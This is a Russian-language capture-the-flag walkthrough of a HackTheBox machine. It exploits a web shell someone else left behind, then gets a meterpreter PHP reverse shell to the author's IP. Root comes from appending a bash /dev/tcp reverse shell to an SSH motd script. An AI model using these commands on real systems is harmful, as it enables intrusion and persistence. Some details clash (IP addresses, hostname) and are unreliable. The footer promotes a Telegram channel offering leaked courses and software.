Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем чей-то бэкдор, получаем шелл через Luvit и возимся с SSH для LPE.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.174, который я добавляю в /etc/hosts.
10.10.10.181 fatty.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.181 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A traceback.htb -p22,80
На хосте работают служба SSH и веб сервер. Зайдя на веб сервер ничего не обнаружим, кроме послания.
Но находим что-то интересное в исходном коде.
Но погуглив данную строку, выходим на эту страницу github.
Entry Point
Перебирая данные файлы, определяем, что на сервер загружен файл smevk.php.
В исходном коде на гитхабе находим учетные данные по умолчанию и авторизуемся.
Давайте сгенерируем PHP шелл и запустим листенер.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.60 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d 'n' > r.php && xclip -selection clipboard -o >> r.php
Теперь загрузим шелл и обратимся к нему. Получаем сессию meterpreter.
USER
В домашней директории пользователя находим файлы и записку к ним.
А также от имени пользователя sysadmin можно запустить lua скрипт.
Давайте запустим шелл.
Для удобства кинем SSH ключ. Для этого сгенерируем пару открытый/закрытый и запишем открытый в authorized_keys.
А теперь подключимся с помощью закрытого и заберем флаг.
ROOT
Запустим скрипт базового перечисления LinPEAS. И в отчете найдем интересные файлы для записи.
Таким образом, файл /etc/update-motd.d/00-header выполняется каждый раз, когда происходит подключение по SSH. Давайте проверим с помощью pspy. Запустим данную утилиту и подключимся по SSH.
Давайте допишем реверс шелл в данный файл.
echo “bash -i >& /dev/tcp/10.10.15.60/5432 0>&1” >> /etc/update-motd.d/00-header
Теперь сразу подключимся и увидим обратное подключение на наш хост.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов